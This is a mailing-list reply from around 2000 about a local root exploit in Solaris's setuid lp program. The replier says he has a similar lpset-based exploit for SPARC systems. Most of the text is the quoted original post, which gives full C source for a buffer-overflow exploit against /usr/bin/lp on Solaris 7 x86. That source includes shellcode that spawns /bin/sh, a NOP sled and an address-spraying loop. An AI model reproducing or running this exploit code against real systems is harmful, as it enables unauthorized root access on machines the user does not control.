Re: Solaris 7 x86 lp exploit

[llevier () ARGOSNET COM (Laurent LEVIER)]

Hi,

I got this exploit working on multiple Solaris (2.5.1, 2.6 & 7), Sparc version.

It is similar, but based on lpset command instead of lp, but root privileges gained in a second.

Will mail it soon.

Laurent LEVIER
IT Systems & Networks, Unix System Engineer
Security Specialist

Argosnet Security Server : http://www.Argosnet.com
"Le Veilleur Technologique", "The Technology Watcher"

At 15:17 24/04/00 +0000, Theodor Ragnar Gislason wrote:
> Setuid proggie /usr/bin/lp has an easily exploitable buffer overflow.
> This exploit is for Solaris 7 x86 version, no sparc exploit is available
> to my knowledge.
>
> later,
>
> DiGiT
>
> /*
>  *
>  * solaris 2.7 /usr/bin/lp local exploit, i386.
>  *
>  * discovered by DiGiT.
>  * try offset 150-250 if sploit fails
>  *
>  * greets: #!ADM, #!security.is, #hax, duke
>  *
>  * DiGiT - teddi () linux is
>  *
>  */
>
> #include <stdio.h>
> #include <stdlib.h>
>
>
> char shellcode[] =
>  "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
>  "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
>  "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
>  "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
>  "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
>  "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
>
> #define BUFSIZE  1100
>
> long get_esp() { __asm__("movl %esp,%eax"); }
>
> int main(int argc, char *argv[]) {
>
>   char buff[BUFSIZE];
>   int nopcount=501, offset=260;
>   int i;
>
>   if (argc > 1) offset = atoi(argv[1]);
>   if (argc > 2) nopcount  = atoi(argv[2]);
>
>         memset (buff, 0x90, BUFSIZE);
>
>                 for (i = nopcount; i < BUFSIZE - 4; i += 4)
>                 *(long *) &buff[i] = get_esp() + offset;
>         memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen
>         (shellcode));
>
>             memcpy (buff, ":", 1);
>             printf("Addr = 0x%x\n", get_esp() + offset);
>          execl("/usr/bin/lp", "lp", "-d", buff, "-p", "/tmp/ps_data",NULL);